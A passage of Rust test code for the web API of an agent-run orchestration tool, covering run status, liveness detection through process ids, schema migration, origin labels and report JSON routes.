18523            ok: false,
18524            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18525            empty: false,
18526        });
18527        write_state(&f.runs(), &pr_run);
18528
18529        let summary = f.get("/api/runs").await.json();
18530        let rows: std::collections::HashMap<&str, &Value> = summary
18531            .as_array()
18532            .expect("an array")
18533            .iter()
18534            .map(|r| (r["id"].as_str().expect("an id"), r))
18535            .collect();
18536        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18537        assert_eq!(
18538            rows[none_run.id.as_str()]["unmerged_by_design"],
18539            true,
18540            "a mode-none Ready must be flagged in the list"
18541        );
18542        assert_eq!(
18543            rows[pr_run.id.as_str()]["unmerged_by_design"],
18544            false,
18545            "a Ready reached by a closed pull request is a different case"
18546        );
18547
18548        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18549        assert_eq!(none_detail["status"], "ready");
18550        assert_eq!(none_detail["unmerged_by_design"], true);
18551
18552        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18553        assert_eq!(pr_detail["unmerged_by_design"], false);
18554    }
18555
18556    /// `RunState::active` is only ever cleared by whoever populated it, so the
18557    /// detail route also has to say whether a daemon is actually still
18558    /// driving this run right now — otherwise a seat from a killed process's
18559    /// last wave would read as live forever.
18560    #[tokio::test]
18561    async fn run_core_survives_unavailable_related_stores() {
18562        let home = TempDir::new().unwrap();
18563        let ui = delta_test_ui(home.path());
18564        let state = RunState::new(
18565            PathBuf::from("/repo/magi"),
18566            "main".into(),
18567            "0123456789abcdef".into(),
18568            "Useful core instructions".into(),
18569            Config::default(),
18570        );
18571        let dir = ui.runs.join(&state.id);
18572        std::fs::create_dir_all(&dir).unwrap();
18573        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18574        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18575        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18576        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18577            .await
18578            .unwrap()
18579            .0;
18580        assert_eq!(core.state.instruction, state.instruction);
18581        assert_eq!(core.state.updated_at, state.updated_at);
18582        assert!(core.task.is_none());
18583        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18584    }
18585
18586    #[tokio::test]
18587    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18588        let f = Fixture::start().await;
18589        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18590        // half of this test can claim the daemon is working on it without a
18591        // second helper.
18592        let id = "20260902-140502-bbbb";
18593        let mut state = RunState::new(
18594            PathBuf::from("/repo/magi"),
18595            "main".to_owned(),
18596            "0123456789abcdef".to_owned(),
18597            "Add a web UI".to_owned(),
18598            Config::default(),
18599        );
18600        state.id = id.to_owned();
18601        state.status = RunStatus::Judging;
18602        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18603        let dir = f.runs().join(id);
18604        std::fs::create_dir_all(&dir).expect("run dir");
18605        std::fs::write(
18606            dir.join("run.json"),
18607            serde_json::to_string_pretty(&state).expect("serialize run"),
18608        )
18609        .expect("write run.json");
18610
18611        // No daemon.json at all, and no `driver_pid` recorded either (this
18612        // state was written directly, never through `execute()`): there is
18613        // nothing to confirm either way, so the route must say `"unknown"` —
18614        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18615        // run` used to get from this route before `driver_pid` existed.
18616        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18617        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18618        assert_eq!(cold["live"], "unknown", "{cold}");
18619
18620        // A fresh heartbeat naming exactly this run: the same entry now reads
18621        // as confirmed, not merely recorded.
18622        write_daemon(f.home.path(), Timestamp::now());
18623        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18624        assert_eq!(warm["live"], "live", "{warm}");
18625    }
18626
18627    #[test]
18628    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18629        let home = tempfile::tempdir().expect("temp home");
18630        let runs = home.path().join("runs");
18631        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18632            let mut state = RunState::new(
18633                PathBuf::from("/repo/magi"),
18634                "main".to_owned(),
18635                "0123456789abcdef".to_owned(),
18636                "Generated review context, not authored task criteria".to_owned(),
18637                Config::default(),
18638            );
18639            state.origin = origin;
18640            state.status = RunStatus::Blocked;
18641            // Earlier migrations must not infer these facts again.
18642            state.driver_exited = false;
18643            state.gate_ran = true;
18644            let expected = serde_json::to_value(&state).expect("serialize current state");
18645            let mut legacy = expected.clone();
18646            legacy["schema"] = serde_json::json!(13);
18647            legacy.as_object_mut().unwrap().remove("task_instruction");
18648            let dir = runs.join(&state.id);
18649            std::fs::create_dir_all(&dir).expect("run dir");
18650            let path = dir.join("run.json");
18651            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18652            std::fs::write(&path, &body).expect("write legacy run");
18653
18654            for loaded in [
18655                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18656                read_run(&runs, &state.id).expect("web migration"),
18657            ] {
18658                assert_eq!(loaded.schema, crate::run::SCHEMA);
18659                assert!(loaded.task_instruction.is_none());
18660                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18661            }
18662            assert_eq!(runs_unreadable(&runs), 0);
18663            assert_eq!(std::fs::read(&path).unwrap(), body);
18664        }
18665    }
18666
18667    /// Where a run came from is shown, and a run written before origins were
18668    /// recorded (schema 12, no `origin` key) stays readable and says so.
18669    #[tokio::test]
18670    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18671        let f = Fixture::start().await;
18672        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18673            let mut state = RunState::new(
18674                PathBuf::from("/repo/magi"),
18675                "main".to_owned(),
18676                "0123456789abcdef".to_owned(),
18677                "Add a web UI".to_owned(),
18678                Config::default(),
18679            );
18680            state.id = id.to_owned();
18681            state.origin = origin;
18682            let mut value = serde_json::to_value(&state).expect("serialize run");
18683            if let Some(schema) = schema {
18684                value["schema"] = serde_json::json!(schema);
18685                value.as_object_mut().unwrap().remove("origin");
18686            }
18687            let dir = f.runs().join(id);
18688            std::fs::create_dir_all(&dir).expect("run dir");
18689            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18690        };
18691        write(
18692            "20260930-092817-ec34",
18693            Some(crate::run::Origin::from_agent_env(
18694                Some(("4a7b".to_owned(), "chat".to_owned())),
18695                None,
18696            )),
18697            None,
18698        );
18699        write("20260930-092817-0ld1", None, Some(12));
18700
18701        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18702        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18703        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18704
18705        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18706        assert_eq!(
18707            old["origin_label"], "origin unknown (started before origins were recorded)",
18708            "{old}"
18709        );
18710        assert!(old["origin"].is_null(), "{old}");
18711
18712        let list = f.get("/api/runs").await.json();
18713        let labels: Vec<_> = list
18714            .as_array()
18715            .unwrap()
18716            .iter()
18717            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18718            .collect();
18719        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18720    }
18721
18722    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18723    /// review` claims no daemon at all, so before this field existed the
18724    /// route above read it as `"dead"` — indistinguishable from a run a
18725    /// killed process abandoned — the whole time it was genuinely still
18726    /// answering. With a live pid recorded, it must read `"live"` even
18727    /// though no daemon claims it.
18728    #[tokio::test]
18729    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18730        let f = Fixture::start().await;
18731        let id = "20260922-090000-cccc";
18732        let mut state = RunState::new(
18733            PathBuf::from("/repo/magi"),
18734            "main".to_owned(),
18735            "0123456789abcdef".to_owned(),
18736            "Review only".to_owned(),
18737            Config::default(),
18738        );
18739        state.id = id.to_owned();
18740        state.status = RunStatus::Reviewing;
18741        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18742        // This test process's own pid: guaranteed alive, and never needs a
18743        // real daemon or a second process to prove it. The matching start-time
18744        // marker is what `liveness` now requires alongside a live pid — see
18745        // `RunState::driver_started_at`'s own doc for why the pid alone is
18746        // not enough.
18747        state.driver_pid = Some(std::process::id());
18748        state.driver_started_at = Some(
18749            crate::proc::process_started_at(std::process::id())
18750                .expect("this test process's own start time must be queryable"),
18751        );
18752        let dir = f.runs().join(id);
18753        std::fs::create_dir_all(&dir).expect("run dir");
18754        std::fs::write(
18755            dir.join("run.json"),
18756            serde_json::to_string_pretty(&state).expect("serialize run"),
18757        )
18758        .expect("write run.json");
18759
18760        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18761        assert_eq!(detail["live"], "live", "{detail}");
18762    }
18763
18764    /// A killed manual run's pid can be handed to a wholly unrelated later
18765    /// process — a live query on `driver_pid` alone would read this as
18766    /// `"live"`, exactly the false positive `driver_started_at` exists to
18767    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18768    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18769    #[tokio::test]
18770    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18771        let f = Fixture::start().await;
18772        let id = "20260922-090100-dddd";
18773        let mut state = RunState::new(
18774            PathBuf::from("/repo/magi"),
18775            "main".to_owned(),
18776            "0123456789abcdef".to_owned(),
18777            "Review only".to_owned(),
18778            Config::default(),
18779        );
18780        state.id = id.to_owned();
18781        state.status = RunStatus::Reviewing;
18782        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18783        // This test process's own pid really is alive, but the marker
18784        // recorded here does not match what it actually started at —
18785        // standing in for the pid having since been reused by a different
18786        // process than the one that wrote `run.json`.
18787        state.driver_pid = Some(std::process::id());
18788        state.driver_started_at = Some("1".to_owned());
18789        let dir = f.runs().join(id);
18790        std::fs::create_dir_all(&dir).expect("run dir");
18791        std::fs::write(
18792            dir.join("run.json"),
18793            serde_json::to_string_pretty(&state).expect("serialize run"),
18794        )
18795        .expect("write run.json");
18796
18797        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18798        assert_eq!(detail["live"], "dead", "{detail}");
18799    }
18800
18801    /// The deck's competition list is normally the first place an operator
18802    /// sees an old run. It must carry the same process verdict as detail, or
18803    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18804    #[test]
18805    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18806        let mk = |id: &str, pid: Option<u32>| {
18807            let mut s = RunState::new(
18808                PathBuf::from("/repo/magi"),
18809                "main".to_owned(),
18810                "0123456789abcdef".to_owned(),
18811                "Add a web UI".to_owned(),
18812                Config::default(),
18813            );
18814            s.id = id.to_owned();
18815            s.driver_pid = pid;
18816            s.driver_started_at = Some("1790000000".to_owned());
18817            s
18818        };
18819        let states = vec![
18820            mk("20260902-140502-aaaa", Some(77)),
18821            mk("20260902-140502-bbbb", Some(77)),
18822            mk("20260902-140502-cccc", Some(77)),
18823            mk("20260902-140502-dddd", None),
18824        ];
18825        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18826        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18827        let sup: HashMap<String, String> = [(
18828            "20260902-140502-aaaa".to_owned(),
18829            "20260902-140502-cccc".to_owned(),
18830        )]
18831        .into();
18832
18833        let status_calls = std::cell::Cell::new(0);
18834        let identity_calls = std::cell::Cell::new(0);
18835        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18836            |_| {
18837                status_calls.set(status_calls.get() + 1);
18838                Some(true)
18839            },
18840            |_| {
18841                identity_calls.set(identity_calls.get() + 1);
18842                Some("1790000000".to_owned())
18843            },
18844        ));
18845        let rows = summarize(
18846            states,
18847            &open,
18848            &claimed,
18849            &sup,
18850            |p| probe.borrow_mut().status(p),
18851            |p| probe.borrow_mut().started_at(p),
18852        );
18853
18854        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18855        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18856        assert_eq!(rows.len(), 4);
18857        assert!(!rows[0].waiting && rows[1].waiting);
18858        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18859        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18860        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18861        assert_eq!(rows[1].superseded_by, None);
18862    }
18863
18864    #[test]
18865    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18866        let mut state = RunState::new(
18867            PathBuf::from("/repo/magi"),
18868            "main".to_owned(),
18869            "0123456789abcdef".to_owned(),
18870            "Review only".to_owned(),
18871            Config::default(),
18872        );
18873        state.id = "20260922-090200-dead".to_owned();
18874        state.status = RunStatus::Reviewing;
18875        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18876            .expect("serialize list row");
18877        assert_eq!(row["status"], "reviewing");
18878        assert_eq!(row["display_status"], "stale");
18879        assert_eq!(row["live"], "dead", "{row}");
18880        assert!(!row["done"].as_bool().unwrap());
18881    }
18882
18883    #[test]
18884    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18885        use crate::run::Liveness::{Dead, Live, Unknown};
18886        let mut state = RunState::new(
18887            PathBuf::from("/repo/magi"),
18888            "main".to_owned(),
18889            "abc".to_owned(),
18890            "Review only".to_owned(),
18891            Config::default(),
18892        );
18893        for (status, parked, node, waiting, live, expected) in [
18894            (
18895                RunStatus::Judging,
18896                true,
18897                "github-text",
18898                false,
18899                Dead,
18900                "parked",
18901            ),
18902            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18903            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18904            (
18905                RunStatus::Judging,
18906                true,
18907                "github-text",
18908                true,
18909                Dead,
18910                "waiting",
18911            ),
18912            (
18913                RunStatus::Judging,
18914                false,
18915                "github-text",
18916                true,
18917                Dead,
18918                "waiting",
18919            ),
18920            (
18921                RunStatus::Judging,
18922                false,
18923                "github-text",
18924                false,
18925                Dead,
18926                "stale",
18927            ),
18928            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18929            (RunStatus::Judging, true, "park", false, Live, "judging"),
18930            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18931            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18932            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18933            (
18934                RunStatus::Blocked,
18935                true,
18936                "github-text",
18937                true,
18938                Dead,
18939                "waiting",
18940            ),
18941        ] {
18942            state.status = status;
18943            state.parked = parked;
18944            state.events.clear();
18945            state.event(
18946                "park",
18947                "an earlier park does not determine the latest state",
18948            );
18949            state.event(node, "message is not used for classification");
18950            let summary = RunSummary::of(&state, waiting, live);
18951            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18952            assert_eq!(
18953                summary.display_status, expected,
18954                "{status:?}/{node}/{live:?}"
18955            );
18956            assert_eq!(detail.display_status, summary.display_status);
18957            assert_eq!(detail.waiting, summary.waiting);
18958        }
18959        state.status = RunStatus::Judging;
18960        state.parked = false;
18961        state.events.clear();
18962        assert_eq!(run_display_status(&state, false, Dead), "stale");
18963    }
18964
18965    #[test]
18966    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18967        use crate::run::Liveness::{Dead, Live, Unknown};
18968        let mut state = RunState::new(
18969            PathBuf::from("/repo/magi"),
18970            "main".to_owned(),
18971            "abc".to_owned(),
18972            "Badge".to_owned(),
18973            Config::default(),
18974        );
18975        for (status, waiting, live, superseded, expected) in [
18976            (RunStatus::Gating, false, Dead, false, "stale"),
18977            (RunStatus::Gating, false, Dead, true, "superseded"),
18978            (RunStatus::Gating, false, Unknown, true, "superseded"),
18979            (RunStatus::Gating, true, Dead, true, "superseded"),
18980            (RunStatus::Gating, true, Dead, false, "waiting"),
18981            (RunStatus::Gating, false, Unknown, false, "gating"),
18982            (RunStatus::Gating, false, Live, true, "gating"),
18983            (RunStatus::Gating, true, Live, true, "waiting"),
18984            (RunStatus::Merged, false, Dead, true, "merged"),
18985            (RunStatus::Blocked, false, Dead, true, "blocked"),
18986        ] {
18987            state.status = status;
18988            let display = run_display_status(&state, waiting, live);
18989            assert_eq!(
18990                run_badge_status(&state, &display, live, superseded),
18991                expected,
18992                "{status:?}/{live:?}/superseded={superseded}"
18993            );
18994        }
18995    }
18996
18997    #[test]
18998    fn summarize_and_detail_expose_badge_status() {
18999        use crate::run::Liveness::Dead;
19000        let mut state = RunState::new(
19001            PathBuf::from("/repo/magi"),
19002            "main".to_owned(),
19003            "abc".to_owned(),
19004            "Badge".to_owned(),
19005            Config::default(),
19006        );
19007        state.status = RunStatus::Gating;
19008        let none = HashSet::new();
19009        let id = state.id.clone();
19010        let mut by = HashMap::new();
19011        let rows = summarize(
19012            [state.clone()],
19013            &none,
19014            &none,
19015            &by,
19016            |_| Some(false),
19017            |_| None,
19018        );
19019        // No driver recorded: liveness is not provably dead, so the node stays.
19020        assert_eq!(rows[0].badge_status, rows[0].display_status);
19021        by.insert(id, "20260901-000000-913b".to_owned());
19022        let detail = RunDetailView::of(
19023            state.clone(),
19024            false,
19025            Dead,
19026            Some("913b".to_owned()),
19027            None,
19028            None,
19029        );
19030        assert_eq!(detail.badge_status, "superseded");
19031        let json = serde_json::to_value(&detail).unwrap();
19032        assert_eq!(json["badge_status"], "superseded");
19033        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19034        assert_eq!(detail.badge_status, "stale");
19035    }
19036
19037    #[tokio::test]
19038    async fn run_display_status_routes_share_the_open_question_store() {
19039        let f = Fixture::start().await;
19040        let id = "20260922-090200-abcd";
19041        write_run(&f.runs(), id, RunStatus::Judging);
19042        let mut state = read_run(&f.runs(), id).unwrap();
19043        state.parked = true;
19044        state.driver_exited = true;
19045        state.event("github-text", "waiting for the owner");
19046        state.save_under(f.home.path()).unwrap();
19047        let mut task = Task::new(
19048            "resumed task".to_owned(),
19049            "do it".to_owned(),
19050            PathBuf::from("/repo"),
19051            Source::Human,
19052        );
19053        task.runs = vec![id.to_owned(), id.to_owned()];
19054        f.queue().put(&mut task).unwrap();
19055        let store = f.questions();
19056        let mut q = Question::new(
19057            id.to_owned(),
19058            "github-text".to_owned(),
19059            "owner".to_owned(),
19060            "Approve the text?".to_owned(),
19061            String::new(),
19062            Vec::new(),
19063        );
19064        store.put(&mut q).unwrap();
19065        for expected in ["waiting", "parked"] {
19066            let list = f.get("/api/runs").await.json();
19067            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19068            assert_eq!(list[0]["display_status"], expected);
19069            assert_eq!(detail["display_status"], expected);
19070            assert_eq!(detail["waiting"], list[0]["waiting"]);
19071            assert_eq!(list[0]["badge_status"], expected);
19072            assert_eq!(detail["badge_status"], expected);
19073            assert!(list[0]["superseded_by"].is_null());
19074            assert!(detail["superseded_by"].is_null());
19075            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19076            let history = task_detail["history"].as_array().unwrap();
19077            assert_eq!(history.len(), 2);
19078            assert!(history[0]["badge"].is_null());
19079            assert_eq!(history[1]["badge"], expected);
19080            q.status = ask::QuestionStatus::Answered;
19081            store.put(&mut q).unwrap();
19082        }
19083    }
19084
19085    #[tokio::test]
19086    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19087        let f = Fixture::start().await;
19088        let id = "20260922-090200-abcd";
19089        write_run(&f.runs(), id, RunStatus::Judging);
19090        let mut state = read_run(&f.runs(), id).unwrap();
19091        state.parked = true;
19092        state.driver_exited = true;
19093        state.event("park", "stopped at a node boundary");
19094        state.save_under(f.home.path()).unwrap();
19095
19096        for expected in ["parked", "stale"] {
19097            let list = f.get("/api/runs").await.json();
19098            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19099            assert_eq!(list[0]["live"], "dead");
19100            assert_eq!(list[0]["display_status"], expected);
19101            assert_eq!(detail["display_status"], expected);
19102            // Model a driver claim followed by a crash before the next event:
19103            // the persisted flag changes, but the last event is still park.
19104            state.parked = false;
19105            state.save_under(f.home.path()).unwrap();
19106        }
19107    }
19108
19109    #[tokio::test]
19110    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19111        let f = Fixture::start().await;
19112        for id in [
19113            "20260902-140501-aaaa",
19114            "20260902-140502-bbbb",
19115            "20260902-140503-cccc",
19116        ] {
19117            write_run(&f.runs(), id, RunStatus::Merged);
19118        }
19119
19120        let all = f.get("/api/runs").await.json();
19121        let capped = f.get("/api/runs?limit=2").await.json();
19122
19123        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19124        assert_eq!(all.as_array().map(Vec::len), Some(3));
19125        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19126        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19127    }
19128
19129    #[tokio::test]
19130    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19131        let f = Fixture::start().await;
19132        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19133
19134        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19135
19136        assert_eq!(res.status, 200);
19137        assert!(
19138            res.headers
19139                .contains("content-type: text/plain; charset=utf-8"),
19140            "a browser must render it, not download it: {}",
19141            res.headers
19142        );
19143        // The assertion is on content, not on the absence of escapes: colour
19144        // is a process-global that `serve` turns off at startup, and another
19145        // test in this binary may own it while this one runs.
19146        assert!(
19147            res.body.contains("20260902-140501-a1b2"),
19148            "the report is about the run that was asked for: {}",
19149            res.body
19150        );
19151    }
19152
19153    #[tokio::test]
19154    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19155        // The view names the run's state directory, which reads the process-global home.
19156        crate::run::pin_test_home();
19157        let f = Fixture::start().await;
19158        let id = "20260902-140501-a1b2";
19159        write_run(&f.runs(), id, RunStatus::Stalled);
19160        // A stalled panel and one review round, written through the real
19161        // state file so the route reads what a run really leaves behind.
19162        let path = f.runs().join(id).join("run.json");
19163        let mut v: serde_json::Value =
19164            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19165        v["tally"] = serde_json::json!({
19166            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19167            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19168            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19169            "met_quorum": false, "rankings": 1
19170        });
19171        v["reviews"] = serde_json::json!([{
19172            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19173            "e2e_deferred": true,
19174            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19175                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19176            ]}]
19177        }]);
19178        std::fs::write(&path, v.to_string()).unwrap();
19179        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19180        std::fs::write(
19181            f.runs().join("20260902-140502-dead").join("run.json"),
19182            "{not json",
19183        )
19184        .unwrap();
19185
19186        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19187
19188        assert_eq!(res.status, 200, "{}", res.body);
19189        assert!(res.headers.contains("content-type: application/json"));
19190        let j = res.json();
19191        assert_eq!(j["schema"], 1);
19192        assert_eq!(j["header"]["id"], id);
19193        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19194        let kinds: Vec<&str> = j["sections"]
19195            .as_array()
19196            .unwrap()
19197            .iter()
19198            .map(|s| s["kind"].as_str().unwrap())
19199            .collect();
19200        assert_eq!(kinds, ["candidates", "tally", "review"]);
19201        let tally = &j["sections"][1]["tally"];
19202        assert_eq!(
19203            (tally["decided"].clone(), tally["provisional"].clone()),
19204            (false.into(), true.into())
19205        );
19206        let round = &j["sections"][2]["rounds"][0];
19207        assert_eq!(round["e2e"]["state"], "deferred");
19208        assert_eq!(round["findings"][0]["severity"], "major");
19209        assert_eq!(round["findings"][0]["blocking"], true);
19210        assert_eq!(round["findings"][0]["state"], "open");
19211
19212        // The raw route keeps working beside it.
19213        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19214
19215        // An unreadable run is an error, as on the text route, and is counted.
19216        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19217        assert_ne!(bad.status, 200, "{}", bad.body);
19218        assert_eq!(
19219            bad.status,
19220            f.get("/api/runs/20260902-140502-dead/report").await.status
19221        );
19222        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19223        assert_eq!(
19224            f.get("/api/runs/20260902-999999-ffff/report.json")
19225                .await
19226                .status,
19227            404
19228        );
19229    }
19230
19231    #[tokio::test]
19232    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19233        crate::run::pin_test_home();
19234        let f = Fixture::start().await;
19235        let id = "20260902-140503-delib";
19236        write_run(&f.runs(), id, RunStatus::Merged);
19237        let path = f.runs().join(id).join("run.json");
19238        let mut v: serde_json::Value =
19239            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19240        v["judgements"] = serde_json::json!([
19241            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19242        ]);
19243        v["tally"] = serde_json::json!({
19244            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19245            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19246            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19247            "met_quorum": true, "rankings": 1
19248        });
19249        v["deliberation"] = serde_json::json!([
19250            {
19251                "round": 1,
19252                "turns": [
19253                    {
19254                        "judge": 1,
19255                        "agent": "judge-1",
19256                        "body": "I prefer candidate **A** because it has cleaner tests.",
19257                        "tentative": "A"
19258                    }
19259                ]
19260            },
19261            {
19262                "round": 2,
19263                "turns": [
19264                    {
19265                        "judge": 1,
19266                        "agent": "judge-1",
19267                        "body": "Still thinking, no choice yet.",
19268                        "tentative": null
19269                    }
19270                ]
19271            }
19272        ]);
19273        std::fs::write(&path, v.to_string()).unwrap();
19274
19275        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19276        assert_eq!(res.status, 200, "{}", res.body);
19277        let j = res.json();
19278        let judging = j["sections"]
19279            .as_array()
19280            .unwrap()
19281            .iter()
19282            .find(|s| s["kind"] == "judging")
19283            .expect("judging section exists");
19284
19285        // Existing summary lines remain intact
19286        let delib_lines = judging["deliberation"].as_array().unwrap();
19287        assert_eq!(delib_lines.len(), 2);
19288        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19289        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19290
19291        // rounds carry turn bodies, tentative and parsed body_md
19292        let rounds = judging["rounds"].as_array().unwrap();
19293        assert_eq!(rounds.len(), 2);
19294        let r1_t0 = &rounds[0]["turns"][0];
19295        assert_eq!(r1_t0["judge"], 1);
19296        assert_eq!(r1_t0["agent"], "judge-1");
19297        assert_eq!(r1_t0["tentative"], "A");
19298        assert_eq!(
19299            r1_t0["body"],
19300            "I prefer candidate **A** because it has cleaner tests."
19301        );
19302        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19303
19304        let r2_t0 = &rounds[1]["turns"][0];
19305        assert_eq!(r2_t0["judge"], 1);
19306        assert_eq!(r2_t0["agent"], "judge-1");
19307        assert!(r2_t0["tentative"].is_null());
19308        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19309        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19310
19311        // A run with empty deliberation array yields empty rounds
19312        let id_empty = "20260902-140504-nodelib";
19313        write_run(&f.runs(), id_empty, RunStatus::Merged);
19314        let path_empty = f.runs().join(id_empty).join("run.json");
19315        let mut v_empty: serde_json::Value =
19316            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19317        v_empty["judgements"] = serde_json::json!([
19318            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19319        ]);
19320        v_empty["deliberation"] = serde_json::json!([]);
19321        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19322
19323        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19324        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19325        let j_empty = res_empty.json();
19326        let judging_empty = j_empty["sections"]
19327            .as_array()
19328            .unwrap()
19329            .iter()
19330            .find(|s| s["kind"] == "judging")
19331            .expect("judging section exists");
19332        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19333    }
19334
19335    #[tokio::test]
19336    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19337        let f = Fixture::start().await;
19338
19339        let html = f.get("/").await;
19340        let css = f.get("/app.css").await;
19341        let js = f.get("/app.js").await;
19342
19343        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19344        assert!(
19345            html.headers
19346                .contains("content-type: text/html; charset=utf-8")
19347        );
19348        assert!(css.headers.contains("content-type: text/css"));
19349        assert!(js.headers.contains("content-type: text/javascript"));
19350        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19351    }
19352
19353    #[test]
19354    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19355        let body = |name: &str| {
19356            let at = APP_JS
19357                .find(name)
19358                .unwrap_or_else(|| panic!("{name} missing"));
19359            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19360        };
19361        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19362        let note = body("function landRoundNote");
19363        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19364        assert!(note.contains("Land round ${round}"));
19365        let land = body("function renderLand");
19366        let note_at = land
19367            .find("landRoundNote(pr)")
19368            .expect("renderLand uses the note");
19369        assert!(
19370            note_at
19371                < land
19372                    .find("roundRail(pr)")
